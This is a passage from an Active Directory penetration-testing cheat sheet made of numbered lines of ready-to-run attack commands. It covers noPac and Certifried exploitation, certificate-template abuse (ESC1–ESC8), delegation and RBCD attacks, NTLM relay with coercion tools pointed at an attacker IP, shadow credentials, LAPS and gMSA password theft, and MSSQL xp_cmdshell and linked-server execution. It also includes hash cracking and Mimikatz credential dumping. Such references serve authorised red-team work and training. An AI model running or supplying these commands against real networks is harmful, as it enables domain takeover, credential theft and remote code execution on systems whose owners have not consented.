C:\Temp\SECURITY 1779 ``` 1780 1781 ### noPac (CVE-2021-42278/CVE-2021-42287) 1782 1783 ```bash 1784 # Scan for vulnerability 1785 noPac.py scan <domain>/<username>:<password> -dc-ip <dc-ip> 1786 1787 # Exploit - get shell on DC 1788 noPac.py exploit <domain>/<username>:<password> -dc-ip <dc-ip> -shell 1789 1790 # Dump hashes 1791 noPac.py exploit <domain>/<username>:<password> -dc-ip <dc-ip> -dump 1792 ``` 1793 1794 ### Certifried (CVE-2022-26923) 1795 1796 ```bash 1797 # Requires ADCS with vulnerable template 1798 # Create machine account 1799 impacket-addcomputer <domain>/<user>:<pass> -computer-name 'EVIL$' -computer-pass 'Password123!' 1800 1801 # Change dNSHostName to DC 1802 python3 bloodyAD.py -d <domain> -u <user> -p <pass> --host <dc-ip> set object 'CN=EVIL,CN=Computers,DC=domain,DC=local' dNSHostName '["dc.domain.local"]' 1803 1804 # Request certificate 1805 certipy req -u 'EVIL$@domain.local' -p 'Password123!' -ca 'CA-Name' -target '<ca-server>' -template 'Machine' 1806 1807 # Authenticate with certificate 1808 certipy auth -pfx evil.pfx -dc-ip <dc-ip> 1809 ``` 1810 1811 --- 1812 1813 ## 19. Quick Reference Tables 1814 1815 ### Common Ports 1816 1817 | Port | Service | Attack Vector | 1818 |---|---|---| 1819 | 21 | FTP | Anonymous login, credential brute force | 1820 | 22 | SSH | Credential brute force, key reuse | 1821 | 23 | Telnet | Cleartext credentials | 1822 | 25 | SMTP | Open relay, user enumeration | 1823 | 53 | DNS | Zone transfer, DNS poisoning | 1824 | 80/443 | HTTP/S | Web application attacks | 1825 | 88 | Kerberos | AS-REP roast, Kerberoast | 1826 | 135 | RPC | WMI execution, RPC enumeration | 1827 | 139/445 | SMB | PsExec, relay attacks, eternal blue | 1828 | 389/636 | LDAP | AD enumeration, credential extraction | 1829 | 1433 | MSSQL | xp_cmdshell, credential brute force | 1830 | 3268/3269 | Global Catalog | AD enumeration | 1831 | 3389 | RDP | BlueKeep, credential attacks | 1832 | 5985/5986 | WinRM | PowerShell remoting | 1833 | 5432 | PostgreSQL | Credential attacks, RCE | 1834 | 6379 | Redis | Unauthenticated access | 1835 | 27017 | MongoDB | Unauthenticated access | 1836 1837 ### Hash Formats 1838 1839 | Type | Format | Example | 1840 |---|---|---| 1841 | LM | `aad3b435b51404ee` | Legacy, empty = no LM | 1842 | NTLM | `a87f3a337d73085c45f9416be5787d86` | Modern Windows | 1843 | NetNTLMv1 | `user::domain:LMResp:NTResp:challenge` | Network capture | 1844 | NetNTLMv2 | `user::domain:challenge:NTProof:NTResp` | Network capture | 1845 | Kerberos TGS | `$krb5tgs$23$*user$domain$spn*$hash...` | Kerberoast | 1846 | Kerberos AS-REP | `$krb5asrep$23$user@domain:hash...` | AS-REP roast | 1847 | DCC2/mscash2 | `$DCC2$10240#user#hash` | Cached domain creds | 1848 1849 ### Hashcat Modes 1850 1851 | Mode | Hash Type | 1852 |---|---| 1853 | 1000 | NTLM | 1854 | 3000 | LM | 1855 | 5500 | NetNTLMv1 | 1856 | 5600 | NetNTLMv2 | 1857 | 13100 | Kerberos TGS-REP (RC4) | 1858 | 18200 | Kerberos AS-REP (RC4) | 1859 | 19600 | Kerberos TGS-REP (AES256) | 1860 | 19700 | Kerberos AS-REP (AES256) | 1861 | 2100 | DCC2/mscash2 | 1862 1863 ```bash 1864 # Crack NTLM 1865 hashcat -m 1000 hash.txt rockyou.txt 1866 1867 # Crack Kerberoast 1868 hashcat -m 13100 tgs_hashes.txt rockyou.txt 1869 1870 # Crack AS-REP Roast 1871 hashcat -m 18200 asrep_hashes.txt rockyou.txt 1872 ``` 1873 1874 --- 1875 1876 ## 20. Tool Quick Reference 1877 1878 ### Impacket Suite 1879 1880 | Tool | Purpose | 1881 |---|---| 1882 | `impacket-psexec` | Remote command execution via SMB | 1883 | `impacket-wmiexec` | Remote command execution via WMI | 1884 | `impacket-smbexec` | Remote command execution via SMB | 1885 | `impacket-atexec` | Remote command via scheduled task | 1886 | `impacket-dcomexec` | Remote command via DCOM | 1887 | `impacket-secretsdump` | Extract credentials/hashes | 1888 | `impacket-GetUserSPNs` | Kerberoasting | 1889 | `impacket-GetNPUsers` | AS-REP roasting | 1890 | `impacket-ntlmrelayx` | NTLM relay attacks | 1891 | `impacket-smbclient` | SMB client operations | 1892 | `impacket-lookupsid` | SID enumeration | 1893 | `impacket-reg` | Remote registry operations | 1894 1895 ### Mimikatz Modules 1896 1897 | Module | Purpose | 1898 |---|---| 1899 | `sekurlsa::logonpasswords` | Dump plaintext creds from LSASS | 1900 | `sekurlsa::pth` | Pass-the-Hash | 1901 | `sekurlsa::tickets` | Export Kerberos tickets | 1902 | `lsadump::sam` | Dump SAM database | 1903 | `lsadump::dcsync` | DCSync attack | 1904 | `lsadump::lsa /patch` | Dump LSA secrets | 1905 | `kerberos::golden` | Create Golden Ticket | 1906 | `kerberos::ptt` | Pass-the-Ticket | 1907 | `vault::cred` | Dump Credential Manager | 1908 | `dpapi::cred` | Decrypt DPAPI blobs | 1909 | `token::elevate` | Impersonate SYSTEM token | 1910 1911 ### Rubeus Commands 1912 1913 | Command | Purpose | 1914 |---|---| 1915 | `Rubeus.exe asktgt` | Request TGT | 1916 | `Rubeus.exe asktgs` | Request TGS | 1917 | `Rubeus.exe kerberoast` | Kerberoasting | 1918 | `Rubeus.exe asreproast` | AS-REP roasting | 1919 | `Rubeus.exe s4u` | S4U constrained delegation | 1920 | `Rubeus.exe ptt` | Pass-the-Ticket | 1921 | `Rubeus.exe dump` | Dump tickets from memory | 1922 | `Rubeus.exe triage` | List tickets | 1923 | `Rubeus.exe harvest` | Harvest tickets periodically | 1924 | `Rubeus.exe monitor` | Monitor for logons | 1925 1926 --- 1927 1928 ## 21. Active Directory Certificate Services (ADCS) Attacks 1929 1930 ### Enumeration 1931 1932 ```powershell 1933 # Find CA servers 1934 certutil -config - -ping 1935 1936 # List templates 1937 certutil -TCAInfo 1938 1939 # Enumerate templates and permissions 1940 Certify.exe find 1941 Certify.exe find /vulnerable 1942 Certify.exe find /vulnerable /currentuser 1943 1944 # Certipy enumeration 1945 certipy find -u <user>@<domain> -p <password> -dc-ip <dc-ip> 1946 certipy find -u <user>@<domain> -p <password> -dc-ip <dc-ip> -vulnerable -stdout 1947 ``` 1948 1949 ### ESC1 - Misconfigured Certificate Templates 1950 1951 ```bash 1952 # Template allows SAN (Subject Alternative Name) specification 1953 # Low-priv user can request cert for any user 1954 1955 # Request cert as Domain Admin 1956 certipy req -u <user>@<domain> -p <password> -ca <ca-name> -target <ca-server> -template <vuln-template> -upn administrator@<domain> 1957 1958 # Authenticate with cert 1959 certipy auth -pfx administrator.pfx -dc-ip <dc-ip> 1960 ``` 1961 1962 ```cmd 1963 :: Certify 1964 Certify.exe request /ca:<ca-server>\<ca-name> /template:<vuln-template> /altname:administrator 1965 ``` 1966 1967 ### ESC2 - Any Purpose Templates 1968 1969 ```bash 1970 # Template has "Any Purpose" EKU or no EKU 1971 certipy req -u <user>@<domain> -p <password> -ca <ca-name> -target <ca-server> -template <vuln-template> 1972 ``` 1973 1974 ### ESC3 - Enrollment Agent Templates 1975 1976 ```bash 1977 # Step 1: Request Enrollment Agent cert 1978 certipy req -u <user>@<domain> -p <password> -ca <ca-name> -target <ca-server> -template <enrollment-agent-template> 1979 1980 # Step 2: Use EA cert to request cert on behalf of another user 1981 certipy req -u <user>@<domain> -p <password> -ca <ca-name> -target <ca-server> -template User -on-behalf-of '<domain>\administrator' -pfx <enrollment-agent.pfx> 1982 ``` 1983 1984 ### ESC4 - Vulnerable Template ACL 1985 1986 ```bash 1987 # Modify template to make it vulnerable (ESC1) 1988 certipy template -u <user>@<domain> -p <password> -template <template-name> -save-old 1989 1990 # Request certificate 1991 certipy req -u <user>@<domain> -p <password> -ca <ca-name> -target <ca-server> -template <template-name> -upn administrator@<domain> 1992 1993 # Restore original template 1994 certipy template -u <user>@<domain> -p <password> -template <template-name> -configuration <old-config.json> 1995 ``` 1996 1997 ### ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2 1998 1999 ```bash 2000 # CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled 2001 # Any template can specify SAN 2002 2003 certipy req -u <user>@<domain> -p <password> -ca <ca-name> -target <ca-server> -template User -upn administrator@<domain> 2004 ``` 2005 2006 ### ESC7 - Vulnerable CA ACL 2007 2008 ```bash 2009 # User has ManageCA or ManageCertificates rights 2010 2011 # Add officer permission 2012 certipy ca -ca <ca-name> -add-officer <user> -u <user>@<domain> -p <password> 2013 2014 # Enable SubjectAltRequireUpn 2015 certipy ca -ca <ca-name> -enable-template SubCA -u <user>@<domain> -p <password> 2016 2017 # Request failed SubCA cert and issue it 2018 certipy req -u <user>@<domain> -p <password> -ca <ca-name> -target <ca-server> -template SubCA -upn administrator@<domain> 2019 certipy ca -ca <ca-name> -issue-request <request-id> -u <user>@<domain> -p <password> 2020 certipy req -u <user>@<domain> -p <password> -ca <ca-name> -target <ca-server> -retrieve <request-id> 2021 ``` 2022 2023 ### ESC8 - NTLM Relay to HTTP Enrollment 2024 2025 ```bash 2026 # CA has HTTP enrollment enabled without EPA 2027 2028 # Start relay 2029 ntlmrelayx.py -t http://<ca-server>/certsrv/certfnsh.asp -smb2support --adcs --template <template> 2030 2031 # Coerce authentication (e.g., PetitPotam) 2032 python3 PetitPotam.py <attacker-ip> <dc-ip> 2033 2034 # Use captured certificate 2035 certipy auth -pfx <dc>.pfx -dc-ip <dc-ip> 2036 ``` 2037 2038 ### Certificate Authentication 2039 2040 ```bash 2041 # Authenticate using PFX 2042 certipy auth -pfx cert.pfx -dc-ip <dc-ip> 2043 2044 # Pass-the-Cert with Rubeus 2045 Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pfx-password> /ptt 2046 2047 # Extract NTLM hash from certificate 2048 certipy auth -pfx cert.pfx -dc-ip <dc-ip> -ldap-shell 2049 ``` 2050 2051 --- 2052 2053 ## 22. Delegation Attacks 2054 2055 ### Unconstrained Delegation 2056 2057 ```powershell 2058 # Find computers with unconstrained delegation 2059 Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation 2060 2061 # PowerView 2062 Get-DomainComputer -Unconstrained | Select DnsHostName 2063 2064 # SharpView 2065 SharpView.exe Get-DomainComputer -Unconstrained 2066 ``` 2067 2068 ```cmd 2069 :: Monitor for incoming tickets on compromised unconstrained system 2070 Rubeus.exe monitor /interval:5 /nowrap 2071 2072 :: Coerce DC to authenticate (SpoolSample/PrinterBug) 2073 SpoolSample.exe <dc> <unconstrained-host> 2074 2075 :: Extract TGT and use 2076 Rubeus.exe ptt /ticket:<base64-ticket> 2077 ``` 2078 2079 ### Constrained Delegation 2080 2081 ```powershell 2082 # Find users/computers with constrained delegation 2083 Get-ADUser -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo 2084 Get-ADComputer -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo 2085 2086 # PowerView 2087 Get-DomainUser -TrustedToAuth | Select SamAccountName,msds-allowedtodelegateto 2088 Get-DomainComputer -TrustedToAuth | Select DnsHostName,msds-allowedtodelegateto 2089 ``` 2090 2091 ```cmd 2092 :: S4U attack with Rubeus (have password/hash of constrained delegation account) 2093 :: Request TGT 2094 Rubeus.exe asktgt /user:<delegation-user> /rc4:<hash> /outfile:tgt.kirbi 2095 2096 :: S4U2Self + S4U2Proxy 2097 Rubeus.exe s4u /ticket:tgt.kirbi /impersonateuser:administrator /msdsspn:cifs/<target> /ptt 2098 2099 :: With AES key 2100 Rubeus.exe s4u /user:<delegation-user> /aes256:<aes-key> /impersonateuser:administrator /msdsspn:cifs/<target> /ptt 2101 2102 :: Alternate service (if service not in list) 2103 Rubeus.exe s4u /ticket:tgt.kirbi /impersonateuser:administrator /msdsspn:time/<target> /altservice:cifs,ldap,http /ptt 2104 ``` 2105 2106 ```bash 2107 # Impacket S4U 2108 impacket-getST -spn cifs/<target> -impersonate administrator <domain>/<delegation-user>:<password> 2109 export KRB5CCNAME=administrator.ccache 2110 impacket-psexec -k -no-pass <domain>/administrator@<target> 2111 ``` 2112 2113 ### Resource-Based Constrained Delegation (RBCD) 2114 2115 ```powershell 2116 # Requirements: Write access to target's msDS-AllowedToActOnBehalfOfOtherIdentity 2117 2118 # Check for write permissions 2119 Get-DomainObjectAcl -Identity <target-computer> | ? { $_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite' } 2120 2121 # Create new machine account (if MachineAccountQuota > 0) 2122 New-MachineAccount -MachineAccount YOURPC -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force) 2123 2124 # Or with PowerMad 2125 Import-Module .\Powermad.ps1 2126 New-MachineAccount -MachineAccount YOURPC -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force) 2127 ``` 2128 2129 ```powershell 2130 # Get SID of new machine account 2131 $sid = (Get-ADComputer YOURPC).SID.Value 2132 2133 # Set RBCD 2134 $SD = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$sid)" 2135 $SDBytes = New-Object byte[] ($SD.BinaryLength) 2136 $SD.GetBinaryForm($SDBytes, 0) 2137 Set-DomainObject -Identity <target-computer> -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} 2138 2139 # Verify 2140 Get-DomainComputer <target-computer> -Properties msds-allowedtoactonbehalfofotheridentity 2141 ``` 2142 2143 ```cmd 2144 :: Get machine account hash 2145 Rubeus.exe hash /password:Password123! /user:YOURPC$ /domain:<domain> 2146 2147 :: S4U attack 2148 Rubeus.exe s4u /user:YOURPC$ /rc4:<hash> /impersonateuser:administrator /msdsspn:cifs/<target> /ptt 2149 2150 :: Access target 2151 dir \\<target>\C$ 2152 ``` 2153 2154 ```bash 2155 # Impacket RBCD 2156 # Add RBCD 2157 impacket-rbcd -delegate-from 'YOURPC$' -delegate-to '<target>$' -action write '<domain>/<user>:<password>' 2158 2159 # Get service ticket 2160 impacket-getST -spn cifs/<target> -impersonate administrator '<domain>/YOURPC$:Password123!' 2161 2162 # Use ticket 2163 export KRB5CCNAME=administrator.ccache 2164 impacket-psexec -k -no-pass <target> 2165 ``` 2166 2167 --- 2168 2169 ## 23. NTLM Relay Attacks 2170 2171 ### Capture & Relay Setup 2172 2173 ```bash 2174 # Start Responder (capture only, disable SMB/HTTP servers) 2175 responder -I eth0 -v 2176 2177 # Start ntlmrelayx 2178 ntlmrelayx.py -tf targets.txt -smb2support 2179 2180 # Relay to specific target 2181 ntlmrelayx.py -t smb://<target> -smb2support 2182 2183 # Execute command 2184 ntlmrelayx.py -t smb://<target> -smb2support -c "whoami" 2185 2186 # Dump SAM 2187 ntlmrelayx.py -t smb://<target> -smb2support --sam 2188 2189 # Interactive shell 2190 ntlmrelayx.py -t smb://<target> -smb2support -i 2191 ``` 2192 2193 ### Relay to LDAP 2194 2195 ```bash 2196 # Add user to group 2197 ntlmrelayx.py -t ldap://<dc> -smb2support --escalate-user <controlled-user> 2198 2199 # Create machine account 2200 ntlmrelayx.py -t ldap://<dc> -smb2support --add-computer YOURPC Password123! 2201 2202 # RBCD attack 2203 ntlmrelayx.py -t ldap://<dc> -smb2support --delegate-access 2204 2205 # Dump domain info 2206 ntlmrelayx.py -t ldap://<dc> -smb2support --dump-domain 2207 ``` 2208 2209 ### Relay to ADCS 2210 2211 ```bash 2212 # Relay to HTTP enrollment 2213 ntlmrelayx.py -t http://<ca-server>/certsrv/certfnsh.asp -smb2support --adcs --template <template> 2214 ``` 2215 2216 ### Coercion Techniques 2217 2218 ```bash 2219 # PetitPotam (MS-EFSRPC) 2220 python3 PetitPotam.py <attacker-ip> <target-ip> 2221 2222 # PrinterBug / SpoolSample (MS-RPRN) 2223 python3 printerbug.py <domain>/<user>:<password>@<target> <attacker-ip> 2224 SpoolSample.exe <target> <attacker> 2225 2226 # DFSCoerce (MS-DFSNM) 2227 python3 dfscoerce.py -u <user> -p <password> -d <domain> <attacker-ip> <target-ip> 2228 2229 # ShadowCoerce (MS-FSRVP) 2230 python3 shadowcoerce.py -u <user> -p <password> -d <domain> <attacker-ip> <target-ip> 2231 2232 # Coercer (all-in-one) 2233 coercer -u <user> -p <password> -d <domain> -l <attacker-ip> -t <target-ip> 2234 ``` 2235 2236 ### WebDAV Coercion 2237 2238 ```bash 2239 # For relaying when SMB signing is enforced 2240 # Coerce via WebDAV (HTTP-based) 2241 2242 # Start WebDAV server 2243 wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous 2244 2245 # Trigger authentication 2246 python3 PetitPotam.py <attacker>@80/test <target> 2247 ``` 2248 2249 --- 2250 2251 ## 24. Shadow Credentials Attack 2252 2253 ### Attack Overview 2254 2255 ```powershell 2256 # Requirements: Write access to msDS-KeyCredentialLink attribute 2257 # Allows passwordless authentication via certificate 2258 2259 # Check for write permissions 2260 Get-DomainObjectAcl -Identity <target-user> | ? { $_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite' } 2261 ``` 2262 2263 ### Exploitation 2264 2265 ```cmd 2266 :: Whisker - Add shadow credential 2267 Whisker.exe add /target:<target-user> 2268 2269 :: Output provides certificate and Rubeus command 2270 :: Rubeus.exe asktgt /user:<target-user> /certificate:<base64-cert> /password:"<password>" /ptt 2271 ``` 2272 2273 ```bash 2274 # Certipy 2275 certipy shadow auto -u <user>@<domain> -p <password> -account <target-user> 2276 2277 # PyWhisker 2278 python3 pywhisker.py -d <domain> -u <user> -p <password> --target <target-user> --action add 2279 2280 # Use generated certificate 2281 certipy auth -pfx <target>.pfx -dc-ip <dc-ip> 2282 ``` 2283 2284 ### Cleanup 2285 2286 ```cmd 2287 :: List shadow credentials 2288 Whisker.exe list /target:<target-user> 2289 2290 :: Remove specific credential 2291 Whisker.exe remove /target:<target-user> /deviceid:<device-id> 2292 2293 :: Clear all 2294 Whisker.exe clear /target:<target-user> 2295 ``` 2296 2297 --- 2298 2299 ## 25. LAPS Abuse 2300 2301 ### Enumeration 2302 2303 ```powershell 2304 # Check if LAPS is enabled 2305 Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwdExpirationTime | Where-Object {$_."ms-Mcs-AdmPwdExpirationTime" -ne $null} 2306 2307 # Find users who can read LAPS passwords 2308 Get-DomainObjectAcl -SearchBase "LDAP://CN=Computers,DC=domain,DC=local" | ? { $_.ObjectAceType -eq "ms-Mcs-AdmPwd" -and $_.ActiveDirectoryRights -match "ReadProperty" } | Select SecurityIdentifier 2309 2310 # Find computers with LAPS 2311 Get-DomainComputer | Where-Object { $_."ms-Mcs-AdmPwdExpirationTime" -ne $null } | Select DnsHostName 2312 2313 # PowerView 2314 Get-DomainComputer -Identity <target> -Properties ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime 2315 ``` 2316 2317 ### Read LAPS Password 2318 2319 ```powershell 2320 # Native AD module 2321 Get-ADComputer -Identity <target> -Properties ms-Mcs-AdmPwd | Select-Object ms-Mcs-AdmPwd 2322 2323 # PowerView 2324 Get-DomainComputer <target> -Properties ms-Mcs-AdmPwd 2325 2326 # LAPSToolkit 2327 Get-LAPSComputers 2328 Find-LAPSDelegatedGroups 2329 ``` 2330 2331 ```cmd 2332 :: CrackMapExec 2333 crackmapexec ldap <dc-ip> -u <user> -p <password> --module laps 2334 2335 :: NetExec 2336 nxc ldap <dc-ip> -u <user> -p <password> -M laps 2337 ``` 2338 2339 ```bash 2340 # Impacket 2341 impacket-laps <domain>/<user>:<password>@<dc-ip> 2342 2343 # Specific computer 2344 impacket-laps <domain>/<user>:<password>@<dc-ip> -computer <target> 2345 ``` 2346 2347 ### Windows LAPS (New) 2348 2349 ```powershell 2350 # Windows LAPS (Windows Server 2022+) 2351 Get-LapsADPassword -Identity <target> -AsPlainText 2352 2353 # Attributes 2354 # msLAPS-Password (encrypted JSON) 2355 # msLAPS-PasswordExpirationTime 2356 # msLAPS-EncryptedPassword 2357 # msLAPS-EncryptedPasswordHistory 2358 ``` 2359 2360 --- 2361 2362 ## 26. Group Managed Service Accounts (gMSA) 2363 2364 ### Enumeration 2365 2366 ```powershell 2367 # Find gMSA accounts 2368 Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword 2369 2370 # Check who can retrieve password 2371 Get-ADServiceAccount -Identity <gmsa-name> -Properties PrincipalsAllowedToRetrieveManagedPassword | Select PrincipalsAllowedToRetrieveManagedPassword 2372 2373 # PowerView 2374 Get-DomainObject -LDAPFilter '(objectClass=msDS-GroupManagedServiceAccount)' | Select SamAccountName,msds-groupmsamembership 2375 ``` 2376 2377 ### Retrieve gMSA Password 2378 2379 ```powershell 2380 # DSInternals 2381 Install-Module DSInternals 2382 $gmsa = Get-ADServiceAccount -Identity <gmsa-name> -Properties msDS-ManagedPassword 2383 $blob = $gmsa.'msDS-ManagedPassword' 2384 $mp = ConvertFrom-ADManagedPasswordBlob $blob 2385 $hash = ConvertTo-NTHash $mp.SecureCurrentPassword 2386 ``` 2387 2388 ```cmd 2389 :: GMSAPasswordReader 2390 GMSAPasswordReader.exe --accountname <gmsa-name> 2391 2392 :: gMSADumper 2393 python3 gMSADumper.py -u <user> -p <password> -d <domain> 2394 ``` 2395 2396 ```bash 2397 # NetExec 2398 nxc ldap <dc-ip> -u <user> -p <password> --gmsa 2399 2400 # Impacket - ntlmrelayx (if you can relay to DC) 2401 ntlmrelayx.py -t ldaps://<dc-ip> --dump-gmsa 2402 ``` 2403 2404 ### Use gMSA Account 2405 2406 ```cmd 2407 :: Pass-the-Hash with gMSA NTLM hash 2408 impacket-psexec <domain>/<gmsa-name>$@<target> -hashes :<ntlm-hash> 2409 2410 :: Rubeus - Request TGT 2411 Rubeus.exe asktgt /user:<gmsa-name>$ /rc4:<ntlm-hash> /ptt 2412 ``` 2413 2414 --- 2415 2416 ## 27. MSSQL Attacks 2417 2418 ### Enumeration 2419 2420 ```cmd 2421 :: Find SQL servers in domain 2422 setspn -T <domain> -Q MSSQLSvc/* 2423 2424 :: PowerUpSQL 2425 Import-Module .\PowerUpSQL.ps1 2426 Get-SQLInstanceDomain 2427 Get-SQLInstanceBroadcast 2428 Get-SQLServerInfo -Instance <target> 2429 ``` 2430 2431 ### Authentication 2432 2433 ```bash 2434 # Impacket 2435 impacket-mssqlclient <domain>/<user>:<password>@<target> 2436 impacket-mssqlclient <domain>/<user>@<target> -windows-auth 2437 2438 # With hash 2439 impacket-mssqlclient <domain>/<user>@<target> -hashes :<ntlm-hash> -windows-auth 2440 ``` 2441 2442 ```powershell 2443 # PowerUpSQL 2444 Get-SQLQuery -Instance <target> -Query "SELECT @@version" -Username sa -Password <password> 2445 ``` 2446 2447 ### Command Execution 2448 2449 ```sql 2450 -- Enable xp_cmdshell 2451 EXEC sp_configure 'show advanced options', 1; RECONFIGURE; 2452 EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; 2453 2454 -- Execute commands 2455 EXEC xp_cmdshell 'whoami'; 2456 2457 -- Disable when done 2458 EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE; 2459 ``` 2460 2461 ```bash 2462 # Impacket - enable and execute 2463 SQL> enable_xp_cmdshell 2464 SQL> xp_cmdshell whoami 2465 ``` 2466 2467 ### Privilege Escalation 2468 2469 ```sql 2470 -- Check if user is sysadmin 2471 SELECT IS_SRVROLEMEMBER('sysadmin'); 2472 2473 -- Impersonate another user 2474 EXECUTE AS LOGIN = 'sa'; 2475 SELECT SYSTEM_USER; 2476 2477 -- Check impersonation permissions 2478 SELECT * FROM sys.server_permissions WHERE permission_name = 'IMPERSONATE'; 2479 2480 -- Check linked servers 2481 SELECT * FROM sys.servers; 2482 EXEC sp_linkedservers; 2483 ``` 2484 2485 ### Linked Server Exploitation 2486 2487 ```sql 2488 -- Query linked server 2489 SELECT * FROM OPENQUERY("LINKEDSERVER", 'SELECT @@version'); 2490 2491 -- Execute on linked server 2492 EXEC ('xp_cmdshell ''whoami''') AT [LINKEDSERVER]; 2493 2494 -- Chain through multiple links 2495 EXEC ('EXEC (''xp_cmdshell ''''whoami'''''') AT [SECONDLINK]') AT [FIRSTLINK]; 2496 ``` 2497 2498 ```powershell 2499 # PowerUpSQL linked server crawl 2500 Get-SQLServerLinkCrawl -Instance <target> 2501 Get-SQLServerLinkCrawl -Instance <target> -Query "EXEC xp_cmdshell 'whoami'" 2502 ``` 2503 2504 ### File Operations 2505 2506 ```sql 2507 -- Read file 2508 SELECT * FROM OPENROWSET(BULK 'C:\Windows\System32\drivers\etc\hosts', SINGLE_CLOB) AS Contents; 2509 2510 -- Write file (OLE) 2511 EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE; 2512 DECLARE @OLE INT; DECLARE @FileID INT; 2513 EXEC sp_OACreate 'Scripting.FileSystemObject', @OLE OUT; 2514 EXEC sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'C:\Temp\test.txt', 8, 1; 2515 EXEC sp_OAMethod @FileID, 'WriteLine', NULL, 'test content'; 2516 EXEC sp_OADestroy @FileID; EXEC sp_OADestroy @OLE; 2517 ``` 2518 2519 ### Capture NTLMv2 Hash 2520 2521 ```sql 2522 -- Force authentication to attacker SMB 2523 EXEC xp_dirtree '\\<attacker>\share'; 2524 EXEC xp_fileexist '\\<attacker>\share\file'; 2525 EXEC xp_subdirs '\\<attacker>\share'; 2526 2527 -- Capture with Responder 2528 responder -I eth0 -v 2529 ``` 2530 2531 --- 2532 2533 ## 28. Token Manipulation 2534 2535 ### Token Enumeration 2536 2537 ```powershell 2538 # List available tokens (requires SeImpersonatePrivilege) 2539 # Incognito (Meterpreter) 2540 meterpreter > use incognito 2541 meterpreter > list_tokens -u 2542 meterpreter > list_tokens -g 2543 ``` 2544 2545 ```cmd 2546 :: Tokenvator 2547 Tokenvator.exe list 2548 Tokenvator.exe g